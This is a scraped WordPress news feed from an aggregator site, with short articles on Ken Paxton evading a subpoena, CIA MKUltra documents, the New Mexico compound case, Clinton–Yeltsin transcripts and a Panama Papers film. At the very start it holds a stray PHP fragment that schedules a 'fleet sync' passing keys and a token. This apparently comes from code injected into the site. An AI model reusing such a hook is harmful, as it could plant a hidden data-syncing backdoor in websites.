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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); papers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 11:11:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png papers – Brief News https://briefnews.eu 32 32 Texas Attorney General ran away when served with court papers over abortion rights lawsuit, affidavit says https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/ https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/#respond Tue, 27 Sep 2022 11:11:44 +0000 https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/ WASHINGTON, DC - ARPIL 26: Texas Attorney General Ken Paxton speaks to reporters after the Supreme Court oral arguments in the Biden v. Texas case at the Supreme Court on Capitol Hill on Tuesday, April 26, 2022 in Washington, DC. (Photo by Sarah Silbiger for The Washington Post via Getty Images)
Texas Attorney General Ken Paxton outside the US Supreme Court.

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  • An official attempted to serve Texas Attorney General Ken Paxton with a subpoena. 
  • But Paxton fled his home in his wife's truck to avoid being served, an affidavit says. 
  • The process server said he shouted out but Paxton ignored him and continued to flee.

Texas Attorney General Ken Paxton fled his home when faced with a subpoena following a lawsuit by abortion rights groups, according to an affidavit by the man trying to serve it. 

According to the affidavit, first obtained by the Texas Tribune, Paxton escaped in a truck driven by his wife, Texas state Sen. Angela Paxton after the process server, Ernesto Martin Herrera, arrived at his home.

The subpoena required Paxton to give evidence Tuesday in a lawsuit filed by several abortion rights groups, who are seeking protections against legal threats made against them for helping women travel to other states to get abortions.

Texas has enacted tough new restrictions on abortion following the Supreme Court's decision to overturn the Roe v. Wade ruling earlier this year. 

In his affidavit, Herrera said he parked outside Paxton's address on Monday and saw a man he recognized as Paxton. He approached the front door and saw him turn around and walk away when he saw Herrera.

The door was answered by Sen. Paxton, who said her husband was on the phone and in a "hurry to leave."

Herrera said he had already spotted Paxton inside the house, so he went and waited for an hour.

He then saw Paxton emerging from a garage, but when Herrera called out Paxton's name, he "RAN back inside the house," Herrera said in the affidavit.

Shortly after, Sen. Paxton emerged from the property, got into a black truck parked in front of the house, and opened the passenger side back door, at which point "Mr. Paxton ran from the door inside the garage towards the rear door behind the driver side," said Herrera.

The process server added: "I approached the truck, and loudly called him by his name and stated that I had court documents for him. Mr. Paxton ignored me and kept heading for the truck."

Herrera said he left the subpoena documents by the truck, but the Paxtons sped away "leaving the documents on the ground."

Responding on Twitter to media reports about the incident, Paxton, who is is up for re-election in November's mid-terms, said he fled because he feared for his family over a "stranger lingering outside my home."

 

He said: "The media wants to drum up another controversy involving my work as Attorney General, so they're attacking me for having the audacity to avoid a stranger lingering outside my home and showing concern about the safety and well-being of my family."

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Scientific publishers such as the American Association for Cancer Research (AACR) and Taylor & Francis have begun attempting to detect fraud in academic paper submissions with an AI image-checking program called Proofig, reports The Register. Proofig, a product of an Israeli firm of the same name, aims to help use “artificial intelligence, computer vision and image processing to review image integrity in scientific publications,” according to the company’s website.

During a trial that ran from January 2021 to May 2022, AACR used Proofig to screen 1,367 papers accepted for publication, according to The Register. Of those, 208 papers required author contact to clear up issues such as mistaken duplications, and four papers were withdrawn.

In particular, many journals need help detecting image duplication fraud in Western blots, which are a specific style of protein-detection imagery consisting of line segments of various widths. Subtle differences in a blot’s appearance can translate to dramatically different conclusions about test results, and many cases of academic fraud have seen unscrupulous researchers duplicate, crop, stretch, and rotate Western blots to make it appear like they have more (or different) data than they really do. Detecting duplicate images can be tedious work for human eyes, which is why some firms like Proofig and ImageTwin, a German firm, are attempting to automate the process.

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A renowned government secret hunter has published new documents detailing the CIA’s Cold War “behavioral modification” experiments (ranging from the bizarre to the stomach-churning), released under the Freedom of Information Act.

The documents were published by “The Black Vault”, a site which has published enough government documents on the paranormal, UFOs and government mind control experiments to provide material for a dozen new seasons of The X-Files. While the site might sound like a fringe web-community indulging in paranoid cliches, it is also the largest repository of its kind aside from the US government with over 2,000,000 pages of information. The 800 pages of classified information published in November had been withheld from previously released documents that were made public through FOIA requests in 2004 and 2016.

The newest documents, if verified, showcase some unprecedented disturbing outcomes of the CIA’s attempts to develop mind control techniques and truth serums as a part of its “MKultra” project, which the agency admitted to having secretly run until 1973. The releases include documents on a “successful” effort to create 6 dogs that could be “operated” to complete basic commands by remote control in the late 1960s. There are even diagrams of the surgical implants that employed “Electrical Stimulation of the Brain” to create controlled responses.

Other documents are almost suspiciously self-implicating, such as one from 1956 where the writer states that behavioral modification experiments that would normally be considered “too dangerous, too shocking, too unusual for routine testing would be of interest to us.” One document which would fit right into this description is a plan to test experimental drugs intended to induce compliance and passivity on inmates in prison hospitals, and then conduct “interrogations”.

What might be meant by “interrogations” is also explained in the declassified information: suggesting the aid of “physical”, “psychological” and “mechanical” torture to induce compliance in “uncooperative individual[s]”.

Some of the experiments conducted veer pretty far afield from the strictly scientific, even in its grotesque Frankenstein form. For instance, the prospect of the military application of hypnosis seems to have been a priority for some people working on the project.

The site’s founder, 37-year-old John Greenewald Jr., has been painstakingly obtaining and cataloging the documents, primarily obtained from the government through the Freedom of Information Act, for over 20 years, alongside producing TV shows on the paranormal.

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A renowned government secret hunter has published new documents detailing the CIA’s Cold War “behavioral modification” experiments (ranging from the bizarre to the stomach-churning), released under the Freedom of Information Act.

The documents were published by “The Black Vault”, a site which has published enough government documents on the paranormal, UFOs and government mind control experiments to provide material for a dozen new seasons of The X-Files. While the site might sound like a fringe web-community indulging in paranoid cliches, it is also the largest repository of its kind aside from the US government with over 2,000,000 pages of information. The 800 pages of classified information published in November had been withheld from previously released documents that were made public through FOIA requests in 2004 and 2016.

The newest documents, if verified, showcase some unprecedented disturbing outcomes of the CIA’s attempts to develop mind control techniques and truth serums as a part of its “MKultra” project, which the agency admitted to having secretly run until 1973. The releases include documents on a “successful” effort to create 6 dogs that could be “operated” to complete basic commands by remote control in the late 1960s. There are even diagrams of the surgical implants that employed “Electrical Stimulation of the Brain” to create controlled responses.

Other documents are almost suspiciously self-implicating, such as one from 1956 where the writer states that behavioral modification experiments that would normally be considered “too dangerous, too shocking, too unusual for routine testing would be of interest to us.” One document which would fit right into this description is a plan to test experimental drugs intended to induce compliance and passivity on inmates in prison hospitals, and then conduct “interrogations”.

What might be meant by “interrogations” is also explained in the declassified information: suggesting the aid of “physical”, “psychological” and “mechanical” torture to induce compliance in “uncooperative individual[s]”.

Some of the experiments conducted veer pretty far afield from the strictly scientific, even in its grotesque Frankenstein form. For instance, the prospect of the military application of hypnosis seems to have been a priority for some people working on the project.

The site’s founder, 37-year-old John Greenewald Jr., has been painstakingly obtaining and cataloging the documents, primarily obtained from the government through the Freedom of Information Act, for over 20 years, alongside producing TV shows on the paranormal.

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An Edmonton woman says her terminally ill best friend, who had ALS and was effectively paralyzed, had to sign his assisted-dying request form in a bus shelter because Covenant Health would not allow him to do so in its facility.

]]> https://briefnews.eu/paralyzed-terminally-ill-man-had-to-sign-assisted-dying-papers-in-bus-shelter/feed/ 0 13yo New Mexico compound victim says he was trained to wage jihad – court papers https://briefnews.eu/13yo-new-mexico-compound-victim-says-he-was-trained-to-wage-jihad-court-papers/ https://briefnews.eu/13yo-new-mexico-compound-victim-says-he-was-trained-to-wage-jihad-court-papers/#respond Sun, 02 Sep 2018 07:23:10 +0000 http://briefnews.eu/13yo-new-mexico-compound-victim-says-he-was-trained-to-wage-jihad-court-papers/ The chief suspect in the case of the New Mexico compound, where 11 children were kept in slum-like conditions, sought to build an army of child recruits to carry out jihad, according to an FBI interview with one of the victims.

Siraj Ibn Wahhaj, 37, who was arrested by the FBI and charged with child abuse resulting in the death of his three-year-old son Abdul Ghani, dreamt of turning the children into an army by training them for a religious war against non-believers.

That’s according to an FBI interview with a 13-year-old boy who was among the 11 children Wahhaj and his associates kept in wretched conditions for months at a desert compound in Amalia, New Mexico. The interview is included in the agency’s affidavit in support of the criminal complaint filed against five adults with hardline Islamist views, and cited by Reuters.

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The boy claims that Wahhaj, the son of a prominent Brooklyn imam, was training him and the other children to handle firearms. The training also included specific techniques, like rapid reload and hand-to-hand combat. He then encouraged children to commit jihad, defining it as killing on behalf of Allah.

The 13-year old also revealed some details about his mother’s bizarre behavior, telling FBI agents that she believes she receives orders from God. The ‘exorcism’ ritual that she and Wahhaj performed on three-year-old Abdul Ghani, which killed him, was approved by the Lord, she claimed.

The toddler’s severely decomposed body was found by police in a tunnel near the compound. The 13-year old said the adults told him to never mention that the deceased boy had ever been on the compound, since it would mean prison sentences for all of them.

Siraj Ibn Wahhaj, his two siblings, Hujrah Wahhaj and Subhanah Wahhaj, his girlfriend Janny Leveille, and one Lucas Morton, were all arrested by the FBI on Friday, days after child abuse charges against all of them were dropped by the judge. The charges against Wahhaj and Leveille relating to Abdul Ghani’s death remain, however.

The FBI charged Leveille, a Haitian national who has overstayed her US visa by 20 years, with unlawful firearms possession and being an illegal alien in the US, while the other four defendants were named as her co-conspirators and abettors.

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Wahhaj was previously described by local law enforcement as “an extremist of the Muslim belief.” Writings seized from the compound and accounts of the children that had lived through the ordeal suggest that members of the extended family were fascinated by the prospect of blowing themselves up in the name of God.

One of the notes found at the compound is titled “Phases of a Terrorist Attack” and offers guidelines to “the one-time terrorist” and suggests an “ideal” place to commit a terrorist attack. Prosecutors’ earlier interviews with the children revealed that both Leveille and Subhannah Wahhaj talked about dying in jihad, while Morton said he dreamed of being killed in a “holy war.”

The prosecution previously argued that the firearms training could have served a more specific purpose – to repel a potential FBI raid and possibly commit a school shooting.
Despite mounting evidence, no terrorism charges have been brought against the suspects who remain in custody and are due in court on Tuesday. The defense, meanwhile, argues that the defendants have been discriminated against because of their race and religious beliefs, arguing for their right to bear firearms as well as practice whatever religion they want.

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Almost 600 pages of transcripts from meetings and phone calls between US President Bill Clinton and Russian President Boris Yeltsin paint a picture of a time when the West liked Russia because Moscow did what it was told.

“You have guided your country through a historic time and you are leaving a legacy that will leave Russians better off for years to come,” Clinton told Yeltsin in a phone call on December 31, 1999, the day the Russian leader announced his surprise resignation.

“I know that the democratic changes you led made it possible for Russia to be integrated into the international community,” Clinton continued, adding that historians will call Yeltsin “the father of Russian democracy” who worked to “make the world a safer place.”

The Clinton Presidential Library in Little Rock, Arkansas released the memos of 18 personal conversations and 56 telephone conversations between Clinton and Yeltsin last month, though the publication has gone largely unnoticed until Thursday. The documents span the time between January 1993, when the US president took office, and the Russian president’s resignation in December 1999. They also show a relationship Clinton pitched to Yeltsin as a “cooperative equal partnership” between the US and Russia, but which largely consisted of the US leader issuing demands and Yeltsin obediently carrying them out.

That is not to say that the Russian leader would not make requests of his US counterpart. Yeltsin asked for a lot of things, from support in the 1996 Russian presidential election to promises that NATO expansion will not include former Soviet republics. Clinton refused any sort of “gentleman’s agreement” on NATO expansion, and told Yeltsin he had to push for enlargement because of domestic politics. Republicans, he said, were using the issue to win support among Americans of Eastern European descent in the Midwest.

The US leader was more forthcoming when Yeltsin’s requests had to do with keeping him in power in Moscow. In the run-up to the notorious 1996 election, Yeltsin painted a picture of apocalypse that would arise if the Communists won:

“They would destroy everything. It would be civil war,” the Russian president said in April 1996, accusing his opponents of wanting to “take back Crimea; they even make claims against Alaska.”

In June, Yeltsin pleaded for money. The Paris Club creditors had rescheduled Russia’s debt payments and the IMF had approved what would become a $ 10.2 billion loan, which would arrive later that year.

“Bill, for my election campaign, I urgently need for Russia a loan of $ 2.5 billion,” he said. “I need money to pay pensions and wages.”

“I’ll check on this with the IMF and some of our friends and see what can be done,” responded Clinton.

Between the US-backed funding and a propaganda campaign managed by US consultants – which was acknowledged on the cover of TIME magazine and even made into a feature film called ‘Spinning Boris’ – Yeltsin won that election.

Time and again, Boris delivered for Bill – including in the spring of 1999. To silence Russia’s objections to NATO’s attack on Yugoslavia over the Serbian province of Kosovo, Clinton argued that Yugoslav President Slobodan Milosevic was a “bully” who should not be allowed to “destroy the relationship we worked hard for over six and a half years to build up.”

“I’m sorry he is a Serb. I wish he were Irish or something else, but he is not,” Clinton said.

During the 78-day NATO campaign, Yeltsin appeared to be under tremendous pressure from his surroundings, offering at one point to meet Clinton “in some hiding place… either on a boat or some submarine or some island so not a single person will disturb us.”

Though Yeltsin eventually gave Clinton everything he demanded on the issue of Kosovo and Yugoslavia, he did warn the US leader that the bombing would result in losing the hearts and minds of Russians.

“Our people will certainly from now have a bad attitude with regard to America and with NATO,” the Russian president told Clinton in March 1999. “I remember how difficult it was for me to try and turn the heads of our people, the heads of the politicians towards the West, towards the United States, but I succeeded in doing that, and now to lose all that.”

Later that year, Yeltsin told Clinton he had found a designated successor: Vladimir Putin. He introduced Putin to Clinton as “a solid man” in September 1999, adding, “I am sure you will find him to be a highly qualified partner.”

Putin is “a democrat, and he knows the West,” Yeltsin told Clinton in Istanbul in November, the last time the two leaders met. “You’ll do business together. He will continue the Yeltsin line on democracy and economics and widen Russia’s contacts. He has the energy and the brains to succeed.”

During that summit, Yeltsin also appealed to Clinton to “Just give Europe to Russia. The US is not in Europe. Europe should be the business of Europeans. Russia is half European and half Asian. … Bill, I’m serious. Give Europe to Europe itself.”

Clinton politely ignored Yeltsin’s rant. After all, here was a man who for almost seven years did everything he was told. Under Yeltsin, Russia was bankrupt, weak, unable to stop the US from enjoying its “unipolar moment” that scholars like Francis Fukuyama described as “the end of history” – and Putin would continue along the same path. Wouldn’t he?

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]]> https://briefnews.eu/why-you-cant-trust-more-cryptocurrency-white-papers/feed/ 0 Steven Soderbergh’s Panama Papers Movie Might Head to Netflix; Meryl Streep to Star; Gary Oldman, Antonio Banderas In Talks https://briefnews.eu/steven-soderberghs-panama-papers-movie-might-head-to-netflix-meryl-streep-to-star-gary-oldman-antonio-banderas-in-talks/ https://briefnews.eu/steven-soderberghs-panama-papers-movie-might-head-to-netflix-meryl-streep-to-star-gary-oldman-antonio-banderas-in-talks/#respond Mon, 14 May 2018 17:57:56 +0000 http://briefnews.eu/steven-soderberghs-panama-papers-movie-might-head-to-netflix-meryl-streep-to-star-gary-oldman-antonio-banderas-in-talks/ Panama Papers movie

Netflix wants more Panama Papers-related projects in their line-up. They already have one film in the works about that subject, and now it looks like they’re circling Steven Soderbergh‘s Panama Papers movie The Laundromat. Plus: Meryl Streep has joined the cast, and Gary Oldman and Antonio Banderas are both in talks to star.

We’ve already reported on Steven Soderbergh’s Panama Papers movie The Laundromat. The film will focus on “the largest leak of corporate data in history, when 11.5 million documents from Panamanian law firm Mossack Fonesca were revealed back in 2015 and detailed the various legal and illegal ways powerful people and corporations hide their money in offshore accounts.” Soderbergh’s take is going to be based on author Jake Bernstein‘s book Secrecy World, which examines “the web of money laundering and other criminal activity revealed in the data leak.” Now we have some updates.

First up: The Hollywood Reporter reveals that a relatively unknown actress named Meryl Streep will star in Soderbergh’s film. Per THR, “Streep’s character details are being kept in the secret [sic] but sources describe it as being the emotional throughline of the movie.”

And that’s not all. Deadline reports that Antonio Banderas and recent Oscar winner Gary Oldman are both circling the project. There’s no word on who Oldman or Banderas might be playing, but they’re both interesting, talented actors who will each bring their own unique gifts to the film. Banderas has worked with Soderbergh before, in the film Haywire.

In addition to this potential casting news, Deadline also reveals that Netlfix has shown interest in acquiring the project. If they do, this will be the second Panama Papers drama from the streaming service. In 2016, Netflix announced plans to make a Panama Papers movie produced by ER and Shameless producer John Wells. Here’s info about that film:

Netflix and John Wells Productions (Burnt, August Osage County, Love and Mercy) are teaming up to tell the definitive story behind The Panama Papers and the two journalists who, working through an anonymous source known as John Doe, cracked open an unprecedented torrent of lies, diversions and information that revealed how the wealthy hid billions of dollars offshore through a little known law firm in Panama. The work, released in collaboration with the International Consortium of Investigative Journalists (ICIJ), set off an international firestorm, triggering the resignation of heads of state, judicial investigations in over a dozen countries and a global debate on just how easy it has become for the wealthy to avoid taxes, game the system and evade the law.

Netflix has acquired exclusive rights to Panama Papers: Breaking the Story of How the World’s Rich and Powerful Hide Their Money, a recently released book by Obermaier and Obermayer and will work with producers Wells and Claire Rudnick Polstein and executive producer Zach Studin of John Wells Productions to bring to life the dramatic story in a feature film. Marina Walker, ICIJ deputy director, and Gerard Ryle, who leads the ICIJ’s headquarters staff in Washington D.C., and oversaw the more than 400 journalists in 76 countries on the Panama Papers, are also on-board to collaborate on the film.

Just why Netflix would want two dramas about the same subject is a bit of a puzzler, but I’m sure they have their reasons. Of these two projects, the Soderbergh project is the film I’m most interested in, simply because I love Soderbergh’s work and I’m thrilled that he’s releasing so many new movies now after his brief retirement. Also: the thought of Meryl Streep working with Steven Soderbergh is really cool.

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Steven Soderbergh is busier than ever. Within just the past eight months, the director has released an experimental app tied to an HBO miniseries (Mosaic), two feature films (Logan Lucky and Unsane), and he reportedly has another one called High Flying Bird that’s almost finished. But he’s showing no signs of stopping: a new report says the Ocean’s trilogy director will next step behind the camera to direct a Panama Papers movie called The Laundromat. Read more about the project below.

The Playlist has a detailed report about Soderbergh’s latest projects, including the fact that his sports drama High Flying Bird, which shot only two months ago, is basically already finished. That movie has quite the pedigree behind it: it’s written by Tarell Alvin McCraney (Moonlight) and stars André Holland, Zazie Beetz, and Kyle MacLachlan. But it sounds like it could be a while before we see that one hit theaters. In the meantime, Soderbergh is staying busy by diving right in to his next project, a Panama Papers movie from writer Scott Z. Burns (Contagion, Side Effects) called The Laundromat.

The Panama Papers refers to the largest leak of corporate data in history, when 11.5 million documents from Panamanian law firm Mossack Fonesca were revealed back in 2015 and detailed the various legal and illegal ways powerful people and corporations hide their money in offshore accounts. The film will be based on Secrecy World, a book by Pulitzer Prize-winning journalist Jake Bernstein, and examine the web of money laundering and other criminal activity revealed in the data leak.

Soderbergh has been attached to this film for a little while now, but this is the first confirmation we have that he’ll be directing it himself instead of just producing. Also worth noting: he shot Unsane on an iPhone, and he previously indicated that it would take “a pretty good reason” for him to return to using traditional cameras again. Well, apparently he’s found a good reason: The Playlist says that “because of the epic scale of the movie, which will shoot in six countries, he’ll be back using the latest RED Cameras.”

The report proclaims that The Laundromat is “gearing up for a fall shoot” and promises that “a powerhouse cast is waiting in the wings”, though exactly which actors will be involved remains a mystery for now.

As if all this wasn’t enough to keep Soderbergh occupied, he’s also reuniting with Lem Dobbs (Haywire, The Limey) for a six-part TV miniseries called Emin Pasha. Head over to The Playlist to read more about that show, and we’ll keep you posted with more info about The Laundromat as soon as we can.

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